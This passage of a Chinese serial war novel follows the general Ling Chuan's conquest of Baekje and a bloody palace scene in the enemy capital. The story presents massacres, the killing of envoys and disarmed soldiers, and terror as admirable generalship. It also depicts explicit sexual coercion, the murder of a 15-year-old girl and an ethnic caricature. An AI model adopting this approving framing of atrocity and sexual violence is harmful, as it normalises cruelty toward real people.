匣子弩与苍生刀,简直就是最完美的搭档,再加上亲兵的恐怖战斗力,几乎是一个照面,便将城门楼上的百济士兵死死压制。 亲兵们如虎入羊群,射空弩匣之后便迅速扑上去,刀光闪处必有人倒下,城楼上的百济守军虽拼死抵抗,但在这样犀利的攻势下显得苍白无力。 与此同时,凌川亲率张破虏和数十精锐已杀至城门下。 白黎城的构造与中原城池大相径庭,没有瓮城这道屏障,只有一道厚重的城门,一旦突破,骑兵便可长驱直入。 “打开城门!”凌川一声令下,声音在黑夜中炸响。 一阵密集的弩箭呼啸而过,守在城门前的百济士兵倒下一片。 紧接着,苍生刀凛冽的寒光如死神的獠牙,将残余的守军彻底清除,不过片刻,城门附近已横七竖八躺了数十具尸体。 张破虏大步跨到城门跟前,双手举起沉重的大戟,一声暴喝,力劈而下。 “咔嚓……”一声巨响,铁皮包裹的粗大门杠应声而断。 这一击让在场的亲兵们无不倒吸一口凉气,尽管他们早已见识过这少年的勇武,但如此神力还是让人瞠目结舌。 众人来不及惊叹,迅速推开沉重的城门,随着两支火把在城门口划出明亮的弧线,城外久候的禁军立刻收到了信号。 “兄弟们,随我杀进去!”岑屹振臂高呼,一马当先冲向洞开的城门。 所有禁军心里都明白,凌川将军仅率三百亲兵深入虎穴,虽然奇袭得手,但此刻正身处险境,若不能及时接应,他们必将陷入重围。 就在凌川等人夺取城门的同时,纪天禄率领的数百斥候如暗夜中的幽灵,在城中展开了精准的猎杀。 这些斥候早已潜入城中,分散在各个要害位置,只等夜枭哨响便同时行动,放火制造混乱只是第一步,完成后他们立即转移,执行更重要的任务——刺杀城中将领。 这一切都是经过精心策划的,每个人分工明确,行动果决。 纪天禄还给他们下达了一条死命令,无论刺杀成功与否,都不可恋战,必须尽快向城门方向撤离。 这样安排自有其用意,若凌川尚未得手,他们可赶去支援;若城门已破,则需尽快汇合,避免被入城的禁军误伤。 因为所有人都明白,一旦禁军铁骑入城,必将掀起一场血腥的屠杀。 纪天禄的部署堪称完美,城内近半将领被斥候刺杀,整个白黎城的指挥系统彻底瘫痪。残存的守军如无头苍蝇,根本无法组织有效抵抗。 “杀啊——” 震天的喊杀声如惊雷般滚过白黎城上空,连城墙都在铁蹄下微微震颤,两千骑兵数量虽不多,但那股凶悍的气势却足以摧垮百济军的斗志。 凌川给这两千禁军的命令简单而残酷。将白黎城守军赶尽杀绝,一个不留! 很快,亲兵营也跨上战马,加入了这场屠杀。 这一夜,注定成为白黎城永恒的噩梦。 军营中杀声震天,凄厉的惨叫此起彼伏,面对全身铁甲的禁军铁骑,这些失去指挥的百济士兵根本无力抵抗。许多人还未接战就已胆寒,纷纷弃械逃命。 百济士兵只有单薄的皮甲或粗劣的藤甲护身,偶尔有小股部队奋起反抗,但在装备精良的禁军面前,不过是以卵击石。 黎明前,整座军营已被肃清,五千余百济守军除少数趁乱逃脱外,全部被歼。尸体在军营中堆积成一座座骇人的京观,无声地诉说着这场夜袭的残酷。 凌川下令全军休整,而纪天禄在战斗接近尾声时,就已率领麾下斥候快马加鞭赶往白黎城中,对城中官员进行清洗,此举必须迅雷不及掩耳,否则这些官员就会趁乱逃窜。 就在凌川攻破白黎城的同一夜,熊津城和豆奴城也相继告破。 一夜之间连克三城,夜枭营居功至伟,若不是他们提供的情报和支持,单靠正面强攻,即便最终能够拿下,也必将付出惨重代价,这绝不是凌川想要的结果。 熊津城一役,斥候探得一条秘密小道,洛青云亲率死字营潜入城中,与夜枭营里应外合,打开城门迎入禁军。 而豆奴城的破城方式更为直接,夜枭营在先前侦察时,发现有一段城墙地基不稳、墙体松垮,他们直接拆毁这段城墙,打开一道宽阔的豁口,蓝少堂率领三千禁军,就这样长驱直入。 这也从侧面反映出百济国在筑城技艺上与中原的巨大差距。 中原城池无论大小,只要不是废弃或年久失修,绝不会出现这种情况,中原筑城通常采用砖石与夯土相结合的工艺,地基深挖数丈,不仅坚固耐用,还能有效防范敌人挖塌城墙或挖掘地道。 百济国调集近两万大军,妄图凭借圣居山天险阻挡周军攻势,他们接到的命令是只守不攻,等待寒冬来临,让周军不战自退。 然而他们做梦也没想到,这道看似坚固的防线,竟在一日之内土崩瓦解,两万大军被屠杀殆尽,城中官员的人头被悬挂在街道和城门上示众,神圣而雪白的圣居山被染成一抹血红。 圣居山失守的消息宛如长了翅膀一般,迅速席卷整个百济国,伴随一起传遍百济的还有无尽的恐惧。 如果说,此前朴居折的三万大军全军覆没让百济国元气大伤,那么圣居山失守,无疑是让百济失去了半壁江山。 上至国王官员、下至黎民百姓,皆是人心惶惶,他们仿佛已经看到大周铁骑兵临泗泆城的画面。 然而,凌川并未乘胜大举进攻,而是下令在白黎城休整一日,一来是昨夜一战,有部分士兵受了伤需要修养,再则是他需要确保另外两支军团在熊津城和豆奴城两处的情况。 第一卷 第574章 让恐惧再酝酿一会 中午时分,另外两支军团的情报相继送到,这也是凌川选择自己做中路军的原因,这样无论左路还是右路谁出了状况,自己都能及时救援。 得知蓝少堂和洛青云已经拿下熊津城与豆奴城之后,凌川终于放下心来。 次日,队伍再次起程,路过白黎城的时候,发现街道之上空荡荡的,只有一些官员的首级悬挂在柱子或是城门之上,显得极其阴森恐怖。 显然,这些都是夜枭营的杰作,至于城中百姓,有的早已逃离避难,有的则是躲在家中不敢发出声响。 离开百济城之后,继续沿着小道翻越圣居山,日落之前终于抵达古龙平原,找了一座规模不大的县城落脚。 城门上依旧悬挂着二十余颗头颅,皆是城中官员的首级。 哪怕已经到了晚饭时间,却不见任何炊烟升起,显然,这里已经成为了一座空城。 从地图上看,穿过古龙平原,便可抵达百济国的都城泗泆城,距此约有三百里。 “将军,依我看,咱们打铁趁热,一鼓作气杀到泗泆城,免得这些王八羔子跑了!”韩骞战意澎湃地说道。 凌川则是摇了摇头,说道:“不急,让恐惧再酝酿一会。” 事实正如凌川预想的那般,接下来在古龙平原,他们别说是遇到抵抗,就连人影都很难碰到一个,显然,圣居山被攻破的消息传开之后,这些百姓已经逃走避难去了。 而凌川让纪天禄率领夜枭营先行,其目的就是趁着消息传开之前,将沿途所有的官兵全部干掉,这无疑是在他们紧绷的神经之上再加一把火,彻底摧毁了百济人心中的最后一丝防线。 他之所以敢让纪天禄放开手脚杀,是因为他已经料到,以百济国举国不过十万的兵力,先后折损了五万,接下来基本上不会遇到大量军队,因为驻守在沿途的军队已经被先后两次抽调得差不多了。 这一点,从他们一路走来,所有县城中大部分都是文职官员的尸体,极少看到士兵和武将的尸体,便可证明。 在古龙平原行进的第四日,一支数十人的队伍从前方骑马奔袭而来,苍蝇见状,迅速让亲兵戒备。 “是一群文官,没有佩戴兵器!”聂星寒淡漠的声音传来。 片刻后,那支队伍已经来到两百步之外,但依旧没有减速的意思,聂星寒二话不说,迅速取出一支铁箭,朝着领头一骑射出。 “噗……” 一声凄厉的嘶鸣,那匹骏马前腿中箭,一头栽倒,马背上的人也被甩飞出去,在地上翻滚了几圈才停下来,后方的人见状,也都纷纷拉紧缰绳。 “将军不要放箭,我等乃是百济国使团,奉国王之命,前来与将军和谈的!”只听一道急促中略显颤抖的声音传来。 对方的中原话虽然有些生硬,但众人还是听得一清二楚。 苍蝇侧目看了凌川一眼,随即驱马上前,大喝道:“你们算什么东西,也配在马背上与我家将军说话?” 一众文官面面相觑,刚才说话那名官员连忙将苍蝇的话翻译了一遍,众人面面相觑。就在此时,刚才从马上摔下来的那名中年男子踉跄起身,喊道:“下马!” 数十人连忙下马,一路步行朝着凌川的队伍走去,最终,在三十步之外停下。 “将军,我乃百济国左相古尔策!敢问前方大周将领尊姓大名?”领头那名鼻青脸肿、满身狼藉的中年男子行礼道。 他的中原话比那名译官更加生硬,言行中带着谦卑,但更多的是畏惧。 “我乃大周东征先锋凌川,左相大人找我何事?”凌川声音不冷不热,但语气中却自带一股威势。 左相古尔策再次行礼,说道:“凌将军,我百济与大周素来交好,百济也从来没有冒犯大周的想法,此次乃是朴居折勾结大和帝国,私自出兵攻打大周……” 凌川听后冷冷一笑,“是吗?” 紧接着凌川朝后方招了招手,很快,一名被五花大绑、狼狈不堪的男子被带了上来。 当他抬起头的瞬间,百济使团一众人脸色剧变。 “左相大人,你还认得此人吗?”凌川似笑非笑地问道。 古尔策显然没想到朴居折还活着,眼神中闪过一抹慌乱之色,但他很快便镇定下来,喝道:“朴居折,你这个忘恩负义的小人,国王许你们家族世代荣光,你却背叛百济,与大和暗中勾结,欲挑起两国战事,其心可诛!” “呸……”朴居折吐出一口血沫。 原本虚弱得趴在马背上的他,此时仿佛被愤怒支配着身体,竟然坐了起来,喝道:“无耻小人,枉我在前线拼死拼活,现在战败了,就想把我推出来当替罪羊,真是卑鄙!” “朴居折,你休要狡辩,国王陛下已经下令,将你的家族满门抄斩,你的罪行也已经公之于众,你将成为百济的千古罪人……” “你……”听闻此言,朴居折怒目圆瞪,额头之上青筋暴露。 “噗……”他当场喷出一口鲜血,满是仇恨与杀意的眼睛死死盯着古尔策,咬牙喝道:“狗贼,我要将你们杀光!” 凌川安静地看着二人狗咬狗,尽管听不懂百济语言,但从二人的语气和神态中,却能猜出一二。 片刻之后,古尔策再次对着凌川行了一礼,说道:“将军,此前种种皆是朴居折一人所为,我们国王陛下已经杀了他全家,还望将军息怒!” 凌川淡淡一笑,问道:“如此说来,攻打我大周边境的五万百济军,皆是朴居折所养的私军?” 古尔策脸色快速变幻,自知瞒不过凌川,便说道:“我们国王陛下说了,将军这一路杀了百济国数万大军,也该消气了,若就此撤军,陛下愿封赏黄金万两,佳丽百名……” 然而,不等他说完,凌川直接抬手将其打断,说道:“左相大人觉得,我凌川是三岁小孩,那么好糊弄吗?” 古尔策连连摆手,说道:“将军,我绝无此意,陛下说了,将军若是不满意,有什么要求尽管提,我百济一定尽全力满足将军的需求!” 第一卷 第575章 宫崎剡 听闻此言,凌川身边的将士无不为之惊愕。 显然,他们并未意识到一路杀穿古龙平原这一举动,意味着什么。 哪怕是凌川,听到这个条件,内心也有那么一瞬间的动摇,但他很快便将这个念头从内心抹除。 “想打就打,打不过就求和,天底下哪有这样的好事?”凌川冷声质问道。 “左相大人,劳烦你回去转告你们的国王陛下,乖乖把脖子洗干净等着!”凌川声音异常冷漠,尽管相隔数丈,他们也能感受到其身上散发出的冰冷杀意。 “还有你们也是一样,回去交代好后事,我凌川将亲自来送你们上路!” 凌川的声音再度传来,一众使团成员不由得倒吸一口凉气,眼神中除了忌惮,还有一丝绝望。 显然,此人是不想就此善罢甘休,要一鼓作气打到泗泆城为止。 而且,从前两次的交战来看,此次这三支队伍皆是大周帝国的精锐之师,就算是国都泗泆城的军队,也未必能挡住他们。 若真到了那个时候,也就意味着百济国宣告灭亡。 而且,直觉告诉他们,距离那一天,已经不远了。 古尔策尽力平息了自己的情绪,开口道:“将军……” 不等他说完,凌川便直接将其打断,说道:“我言尽于此,现在我给你们三十息的时间逃跑,三十息之后,我手下的士兵就会放箭!” 使团中大部分人都听不懂中原话,可那名译官却是满脸惊慌,大喊道:“跑……快跑!” 他一边喊,一边转身亡命飞奔,其他人不明所以,但见此情景,也跟着转身就跑。 “弓!” 凌川并没有开玩笑,十息之后,果断下令。 听到命令之后,前排亲兵纷纷取下破甲弓,随即弯弓搭箭,瞄准前方那群惊慌逃窜的身影。 三十息一到,凌川果断下令:“放箭!” “咻咻咻……” 伴随着道道破空声,铁箭飞射而出,直奔那群身影而去。 此时,这群百济官员已经跑到两百步之外,在他们的认知里,这个距离已经超出了弓箭的射程,见对方并没有追上来的意思,便准备骑上坐骑离开。 然而,就在此时,一支支铁箭飞射而来,当场便将十多名官员射杀,剩下的人被吓得亡魂皆冒,翻身上马亡命飞逃。 对于凌川来说,这群官员杀与不杀都无关紧要,此举不过是为了让他们将恐惧的种子带回泗泆城,带给他们那位国王陛下。 队伍继续前行,按照当下的行军速度,明日便可穿过古龙平原,三支队伍将会在距离泗泆城不足百里的月鎏城会师。 与此同时,泗泆城国都,装饰奢华的宫殿之中,五十出头的国王扶余明晟满脸愁容,坐立不安。 而本属于他的王座之上,此时则是坐着一名剃着月代头、身着武士装的男子,此人看上去三十出头的年纪,身形矮小、一脸猥琐。 此时,他正怀抱一名年轻女子,女子穿着单薄,大片肌肤裸露在外,任由男子的双手伸进衣衫之中肆意揉捏,男子那双贪婪的目光更是不时在其胸前扫过。 这女子不是别人,正是百济国王扶余明晟刚纳进宫不久的王妃。 看着自己的女人被别人抱在怀里如此对待,扶余明晟内心怒不可遏,却只能强忍下这口气,面对王妃投来求救的目光,他更是只能假装没看到。 “宫崎殿下,那周军已经穿过古龙平原了,大和的援军能及时赶到吗?”扶余明晟满脸焦急地问道。 那名大和武士不是别人,正是当今天皇的第七子宫崎剡,也是他亲自到百济,亲自督促百济国出兵攻打大周,以此来牵制东疆水师的兵力。 只见宫崎剡一只手在王妃胸前用力揉捏,一脸慵懒之色,说道:“放心,我大和精锐已经在路上了,明日便可抵达,到时候,不仅能一举干掉这支周军,还能趁机反扑,直接拿下辽东!” 尽管对方这么说,可扶余明晟还是不放心,毕竟周军来势汹汹,不仅圣居山未能挡住他们,现在更是一路杀穿了古龙平原,估计不日就会兵临泗泆城下。 早知如此,他绝不会去招惹大周,虽说大周近些年势衰,但就算只剩一丝余威,也不是他小小的百济国能承受得起的。 可大和帝国近些年迅速崛起,他同样招惹不起,在对方威逼利诱、软硬兼施的情况下,他便答应对大周出兵。 事实上,他虽为一国之主,但百济这种小国,根本没有选择的权利,只能左右逢源,在夹缝中求生存。 他只能寄希望于大和水军能战胜大周的三十万东疆水师,同样,也在进行一场豪赌,赌朴居折能率领五万百济精锐叩开辽东大门,将整个辽东纳入百济的版图之中,从而趁势崛起。 只可惜事与愿违,朴居折的五万精锐全军覆没,如今,周军更是趁势反击,已经快要打到国都了。 扶余明晟身为一国之主,可以说他昏聩,但他绝不是傻子,到了这个关口,他又岂会不明白,自己显然是被大和当做了炮灰? 深知大和帝国靠不住的他,一边派出使团去向周军求和,哪怕是赔款割地都行,只要对方肯退兵;另一边,他迅速调兵,将剩下的兵力全部调回国都,如果周军真的打到泗泆城下,至少还有一战之力。 就在此时,宫崎剡的声音再度传来:“扶余陛下,本皇子希望你一直是大和的盟友,若是让我发现你阳奉阴违,在背后算计大和,那就休怪本皇子不讲情面了!” 扶余明晟神色一惊,连忙低头道:“殿下放心,本王一直是大和最亲密的盟友,绝不会有二心!” 不等他说完,宫崎剡直接将其打断,“最好如此!” 说完,更是当着扶余明晟的面,一把抓起王妃的头发,将她的头摁到自己面前,王妃内心挣扎,但求生的欲望却让她含泪忍了下来,缓缓张开红唇…… 扶余明晟看着这一切,袖中双拳紧握,青筋暴露,可脸上却不敢表露出半点不满之色。 宫崎剡则是一脸享受地看着他,似乎是在以胜利者的姿态炫耀,又似乎是在享受这种莫名的刺激。 第一卷 第576章 会师月鎏城 月鎏城。 坐落于百济国都北面百里,也是除了国都泗泆城之外,最大的几座城池之一。 当凌川率军抵达的时候,发现洛青云的队伍已经先一步抵达,只不过却被挡在了城外。 得知凌川率军抵达,洛青云也迅速赶了过来,眼神中带着几分沉重。 “什么情况?”凌川问道。 “回禀将军,属下刚才得知,城中的大部分百济军已于昨日撤往泗泆城,只剩下一千余残力,但他们却逼着城中百姓来守城,属下一时间拿不准,只能请将军定夺!”洛青云禀报道。 凌川嘴角勾起一抹冷笑,说道:“看来,敌军是发现咱们这一路不杀百姓的行为了,试图用这种办法挡住我们!” “那接下来怎么办?”洛青云问道。 凌川抬起目光,看向前方的城墙,只见城墙之上站立的大多是百姓,一个个手持粗劣兵器,还有不少人拿着钢叉、锄头等农具。 “纪天禄在城中留了多少斥候?能联系上吗?” “我刚才接到了斥候传来的情报,城中还有三百余人,剩下的已经以各种身份前往泗泆城了!”洛青云回答道。 “你立即让人联系夜枭营的斥候,让他们在城中散布消息!”凌川顿了顿说道:“就说,周军将在一个时辰后攻城,只杀官兵不杀百姓,但若有百姓反抗,将被视为官兵,一并杀之!” “是!”洛青云应答了一声,迅速去安排。 凌川则是让大军在城外休整,准备接下来的攻城战,虽然没有云梯和攻城车这些辎重器械,但面对并不算雄伟且只有一千守军的月鎏城,凌川根本没放在眼里。 更何况,城中还有三百余斥候,说一句不费吹灰之力便可拿下月鎏城,也丝毫没有夸张的成分。 不多时,城内的斥候便将消息散布开来,城中百姓顿时一片恐慌,压抑与恐惧宛如一片天幕,笼罩在月鎏城上空,让所有人都喘不过气来。 特别是那些被迫拿起武器参与守城的百姓,更是宛如热锅上的蚂蚁,不时往城外观看,生怕周军发起进攻。可随着时间一点点过去,他们内心的压力也在急剧增长。 就在此时,蓝少堂率领的三千禁军也抵达城外。 看着城外黑压压的铁骑,城内所有人的压力更是攀升到了顶点。 而就在这期间,有一路逃难而来的百济人透露,这一路上,周军杀的都是官员与将士,确实没看到有百姓被屠杀的情况,这无疑是让城中百姓看到了一丝希望。 一个时辰之后,城外的大军列队整齐,显然是准备攻城了。 “将军,让属下来打头阵吧!我保证一个时辰之内,将旗帜插上城头!”禁军校尉钟宣主动请战。 “将军,让我来吧,我若半个时辰拿不下城,提头来见!”另一名校尉吕英华更狠,当即立下军令状。 禁军常年在宫中,立功的机会极少,这一次好不容易上战场,自然希望能多捞一些军功,更何况,这月鎏城只有一千余守军,明显就是个软柿子,对此,凌川很是理解。 很快,另外几名校尉也凑上来争取打头阵的机会,可就在此时,城门却缓缓打开了。 一众将领抬眼看去,心中暗道不妙,该不会是夜枭营已经干掉了城中守军,将头功抢走了吧? 然而,定睛一看,开城门的并非是夜枭营的斥候,而是衣着普通的百姓。 紧接着,大批手无寸铁的百姓从城门内涌出,直接跪在两旁。 凌川也没有迟疑,朗声喝道:“进城!” 话音刚落,他率先带领亲兵朝城门而去,虽说知道大概率不会有危险,但一众亲兵还是战刀出鞘,全神戒备。 城门跟前,只见那些百姓眼神中带着深深的畏惧,跪在两侧大气都不敢出,特别是看到那一把把雪亮的战刀,一个个更是紧张到了极点。 好在,这些周军只是冷眼从他们身上扫过,并未对他们出手,直接列队进城。 进入城中,凌川看到的同样是满大街跪着的百姓,那一千余百济守军早已不知去向。 事实上,那些百济守军见周军进城之后,果断选择从南门逃走。他们心里很清楚,虽然将军只让他们坚守三日,但实际上却是将他们当做炮灰。 之前还想着联合百姓死守,万一真的挡住了周军,那就是享之不尽的荣华富贵。 然而,对方却轻易瓦解了他们的小伎俩,百姓们为了自保选择开城投敌,也是无可厚非的事情,毕竟人性都是自私的,更何况是在生死面前。 为了保险起见,这一千余守军还刻意脱掉了皮甲,丢掉了兵器,准备乔装成百姓撤离。 然而,他们刚出南门,迎接他们的便是成片的箭雨,几轮攒射下来,这一千余百济军死伤近半,剩下的人见势不对,准备折身返回。 可就在此时,城门直接被人从里面关上,他们进退无门,面对持刀杀上来的周军,所有人脸上写满了绝望。 而且,刚才为了乔装,他们连铠甲和兵器都丢掉了,现在身无寸铁,只能任人宰割。 事实上,他们就算全副兵甲,也不过是多坚持片刻,毫无意义。 不过一盏茶的功夫,这一千余百济军便被蓝少堂带人斩杀殆尽,尸体被悬挂于城墙之上。 城中,凌川将队伍安扎在此前百济的军营中,虽然条件差了些,但也没去侵扰百姓。 不多时,斥候营又从城中揪出了两百多潜藏起来的百济士兵,凌川没有丝毫手软,当街将其处决。 夜里,凌川正在与一众将领商量接下来的战略。 下一站他们将抵达百济国都泗泆城,不用想也知道,那势必会有一场硬仗要打。 尽管如今的百济已经没有多少兵力,但泗泆城毕竟是国都,无论是城池的防御力还是国王的统治力,都远非其他地方可比。 可一众将士的脸上却满是激动,对于士兵来说,能够参与一场灭国之战,那将是无上荣耀,更是足够他们吹上一辈子的资本。 第一卷 第577章 兵临泗泆城 “将军,咱们这一战打下来,百济都差不多灭国了,等同于给帝国开拓了万里疆域啊!”苍蝇满脸激动地说道。 凌川淡然笑道:“你说得对,边军不止要守土,还要开疆!但不是现在!” “为何?”苍蝇不解地问道,其他人同样面带疑惑。 凌川的目光缓缓从众人身上扫过,说道:“眼下,大周内部的腐朽都没解决,咱们能挡住外敌就不错了,自古打江山容易守江山难,你可曾想过,如果将百济的版图纳入大周,咱们得派多少兵力来镇守,需要多少官员来治理?” 经凌川这么一说,众人顿时明白过来,蓝少堂点头道:“将军说得对,眼下大周群敌环伺,根本没有能力扩展疆域,就算真拿下百济,估计也守不住!” 听凌川这么一说,一众将领才真正明白凌川的意图,为何要大开杀戒,杀到百济胆寒,就算再过几十年也不敢生出冒犯大周的心思,而不是直接占领百济,原来是出于这种深层次的考虑。 凌川展开地图,根据纪天禄传回的情报,开始在地图上标注起来。 泗泆城作为百济国都,乃是当之无愧的百济第一大城,城墙坚固、物资充沛,且有两万精兵镇守,加上近几日从周围紧急调遣了三万大军进入泗泆城,整整五万大军严防死守。 若是换一个人领兵,别说不足一万人,就算是同等的五万人,想要攻破泗泆城也无异于天方夜谭。 但,这个人是凌川那就不一样了,尽管凌川现在都没公布自己的战术,但这一路打过来,他们已经充分见识到凌川神乎其技的战术和精准无误的布局。 难怪北系军中曾传言,此人用兵如神、大智近妖,原本以为这不过是北系军中的吹捧之语,只有真正见识过他用兵,才明白这八字评价没有丝毫夸张的成分。 当任务分配完毕之后,凌川轻叹一声,说道:“纪天禄在情报中提到,大和七皇子在泗泆城,我现在担心的是,大和是否有援军赶来!” “末将认为,大和帝国现在主要还是将目光锁定在东疆水师身上,应该没有精力分兵到这些小国,毕竟,他们撺掇这些小国,主要目的还是让东疆水师被迫分兵应对!”蓝少堂说道。 “常理来说,确实是这样,可兵者诡道,虚虚实实,除了在战场上奋勇拼杀,还有双方主将在幕后勾心斗角、锱铢必较!”凌川正色说道。 “那咱们怎么办?”洛青云问道。 “我希望你们要习惯性站在全局上去思考,如果你是主将,你应该怎么打,而不是张口就问我怎么办,你们不可能永远只带这么点兵,我更不可能一直在你们身边,得学会独立去思考!”凌川看着这一众将领,说道。 众人不由一阵汗颜,连忙抱拳道:“属下记住了!” 其实,凌川也明白,他们是怕自己的想法误导自己,也是出于对自己的绝对信任,若真让他们独领一军,大多都能有序布局指挥。 “大家都休息吧,明日一早开拔,直奔泗泆城!”凌川开口说道。 这一夜,凌川先是打坐到深夜,睡了不到两个时辰又起床开始晨练,这几乎成了雷打不动的规律,只要不是特殊情况,日日如此。 寅时造饭,卯时开拔! 途中,凌川没有要求急行军,但却比平时赶路加快了几分,希望在下午赶至泗泆城。 而此时,泗泆城早已被无尽的恐惧笼罩,一个时辰一封情报传入王宫,密切汇报凌川所率大军的进程。 午后不久,当大周铁骑兵临城下,整座泗泆城的恐惧更是达到了顶点。 扶余明晟更是宛如热锅上的蚂蚁,因为,宫崎剡承诺的大和精锐到现在都没有出现。 他气冲冲走向那座本属于自己王权象征的宫殿,可来到门口,心中的怒火瞬间消了一半,准确说是在恐惧之下,被他压回去了一半。 宫殿跟前,十余名大和武士持刀而立,虽然身形矮小,但一个个却目露凶光,让人不敢正视。 扶余明晟来到宫殿跟前,两名武士直接上前,挡住了他,一脸的不善之色,喝问道:“干什么?” “请禀报殿下一声,就说扶余明晟求见!”堂堂一国之主,在面对大和一位皇子的侍卫,竟然表现得如此卑微,也难怪在大和的淫威之下俯首称臣。 “等着!”那名大和侍卫冷声应道,随即推门走了进去。 不多时,那名侍卫走了出来,说道:“殿下让你进去!” 扶余明晟点头致谢,可刚踏步走进去,整个人直接呆滞原地。 只见七皇子宫崎剡光着上半身,怀里搂着的是自己的爱妃,不远处,一名年轻女子满身是血,躺在血泊之中。 扶余明晟身体猛然一颤,因为他认出血泊中那道身影所穿的衣服…… 他快步走过去,用颤抖的手将尸体翻过来,当看清那张脸的时候,内心最后的一丝希望也随之破灭。 “殿,殿下,你已经霸占了孤王的爱妃,为何还要杀我女儿啊?”扶余明晟双目通红,脸上青筋暴露,声音更是在止不住地颤抖。 宫崎剡不屑地扫了地上的尸体一眼,漫不经心地说道:“哦,你说她呀……让她伺候本殿下,竟然不乐意,还想跟我动手,我就送她上路咯!” 轻飘飘的语气,仿佛这不过是碾死了一只蚂蚁,根本无足轻重。 此言一出,算是彻底将扶余明晟激怒,他咬牙吼道:“那可是孤王的亲女儿啊!她才十五岁啊!” 宫崎剡抬起目光,不屑地扫了他一眼,说道:“你女儿怎么了?本皇子看上她是她的荣幸,奈何她不知好歹……” 此时的扶余明晟内心的恐惧已经彻底被仇恨所取代,只见他紧握着藏在衣袖中的匕首,一步步朝着宫崎剡走去。 他子嗣不少,但最为疼爱的无疑是这个长女。 当年,王后生下她不久便因病离世,自己一直把她当做掌上明珠,就算是寄予厚望的皇子,也不及这个女儿在自己心目中的地位。 然而,自己那活泼乱跳的女儿,竟然变成了一具冰冷的尸体,让他积压在内心的仇恨彻底爆发。 第一卷 第578章 王宫惨案 “怎么?你这条老狗,还敢咬主人不成?”宫崎剡冷声喝道。 他并未去叫门外的侍卫,而是任由对方朝着自己走来,眼神中没有半点畏惧,只有深深的不屑。 “王八蛋,你去死!”扶余明晟怒喝一声,猛然拔出匕首,直接扑了上去。 “唰……” 只见一道寒芒闪过,宫崎剡都没有起身,而是顺手拔出自己的武士刀,横扫而过,只见扶余明晟的身体猛然一顿,一条血线在脖子处逐渐显现出来。 紧接着,那条血线迅速扩大,顷刻间便化为一道血瀑,扶余明晟的双目圆瞪,身体软软倒下。 “啊……” 那名衣衫不整的王妃发出一声尖叫,想要躲到一边却又畏惧对方手中的武士刀,只能蜷缩在对方怀里不住发抖。 扶余明晟就倒在自己面前,温热的鲜血喷了她一身,她甚至能看到对方那双逐渐失去神采,却始终没有闭上的眼睛。 “放心,只要你听本皇子的话,我不会杀你!”宫崎剡淡淡说道,随即归刀入鞘。 紧接着,他一把抓起那年轻王妃的头发,摁向自己的下身,说道:“真扫兴,赶紧给本皇子去去晦气……” 仅过了片刻,宫崎剡身体一阵颤抖,嘴里发出低沉的嘶吼。 可就在此时,年轻王妃的眼神中闪过一抹狠厉之色。 “啊……” 伴随一声撕心裂肺的惨叫,宫崎剡的身体瞬间绷直,面容从享受瞬间变成了扭曲。 他抓起王妃的头发,想要将其甩飞出去,可就在此时,王妃猛然将口中那坨带血的肉吐在了宫崎剡的脸上,后者或许做梦也没想到,那块肉能在有生之年砸到脸上,又惊又怒。 可不等他回过神来,王妃猛然一脚踢在他下身被咬断的伤口上,钻心的痛让他惨叫不止。 然而,王妃却顺势拔出他腰间那把短刃,一刀刺向其胸口。 “嗤……” 短刀刚刺穿宫崎剡的皮肤,便被对方一把抓住刀身,尽管刀刃切开了手掌,但在生死关头,他也顾不得这些了。 年轻王妃怒吒一声:“去死!” 只见她身体直接压了上去,硬生生将短刀压进宫崎剡的身体之中,鲜血喷涌而出,溅在她裸露的娇躯之上,宛如一幅鲜艳的画卷。 宫崎剡双目圆瞪,奋力挣扎,嘴里和下身都在喷血,剧烈的疼痛让他一张脸都彻底扭曲。 而就在此时,门外的侍卫也听到动静闯了进来,看到自家皇子被一刀穿心,侍卫们神色剧变,直接拔刀冲上来。 “嗤嗤……” 两把武士刀同时贯穿了年轻王妃的身体,她仰面低吼,紧握着短刀的手也无力松开,身体缓缓倒下。 她死了,但宫崎剡也活不成了。 她之所以不惜以生命为代价也要搏一搏,不是为了给国王扶余明晟报仇,相反,当扶余明晟默许对方欺凌自己而无动于衷的时候,她的内心就绝望了。 杀宫崎剡是为了发泄内心的恶气,也是为了提前解脱。 当她亲眼目睹宫崎剡毫不犹豫杀掉扶余明晟的时候,她就知道,自己哪怕委曲求全,最终也难逃一死,就算城外的周军打进来,自己依旧难逃沦为玩物的下场,与其如此,还不如放手一搏。 “殿下,殿下……” 宫崎剡耳边不断传来侍卫焦急的呼喊声,然而,那声音却越来越远,眼前的光线也越来越暗,最终彻底变成一片黑暗。 七皇子宫崎剡一生好色,最终死在了女人身上,更惨的是,连命根子都被人给咬掉了。 一众侍卫满脸惊慌,主子被刺身亡,他们唯有一条路可走,那就是切腹自尽。 至于逃跑,虽说现在趁着消息传开之前出城倒也不难,可一旦逃跑,天皇陛下一怒,他们的家人、族人将全部沦为陪葬。 可就在此刻,门外传来密集的脚步声,只见大批百济军队来到殿外,领头那名身着官服的老者正是百济国右相。 周军兵临城下,百济国面临生死存亡的关头,右相联合大将军带人前来逼宫,倒不是想篡位,而是请国王陛下立马做出决断,砍下大和七皇子的脑袋,与周军和谈。 事实上,从一开始,他们就反对与大和联手对大周出兵,因为大和嘴上说支持,可实际上却没出一兵一卒,谁都看得出来,这是要拿百济当炮灰。 然而,执掌军权的朴居折却是力挺对大周出兵,更是当着陛下和百官的面放出豪言,一个月之内叩开辽东大门,半年之内将辽东大地纳入百济版图之内。 在朝中得势的左相也权利支持朴居折,再加上大和帝国的不断施压,陛下只能答应出兵。 所有人都在泗泆城等待他的捷报,然而,最终等来的却是滔天噩耗。 三万大军刚到卑沙城便全军覆没,被周军杀得片甲不留。 随后周军更是一路反攻,势如破竹,此时更是兵临城下,城中人心惶惶,一众官员更是坐立难安。 右相知道,这是百济国最后的机会,尽管此前周军已经拒绝过一次和谈,但他还是想争取一下,不然,等周军破城,不仅泗泆城将化为人间炼狱,整个百济国都将从地图上抹除。 或许,若干年后,只有在周军的战功簿和史册上,才能看到百济国的名字。 然而,当右相真忠信廉与大将军解仇武成赶到王宫的时候,发现宫殿之中满地鲜血,陛下、王妃、公主殿下尽数身亡,包括那位大和七皇子也惨死在王座之上,只有十多名大和武士在宫殿中,满脸惶恐,不知所措。 右相与大将军解仇武成见到这一幕,皆是惊骇欲死,那些大和武士则是纷纷拔出战刀,与他们对峙。 “给我杀了这些狗贼!”真忠信廉怒喝一声,解仇武成直接带着大军将那些大和武士团团包围。 一番激烈厮杀,大殿中多了二十多具尸体,解仇武成走到右相身边,问道:“陛下身亡,现在怎么办?” 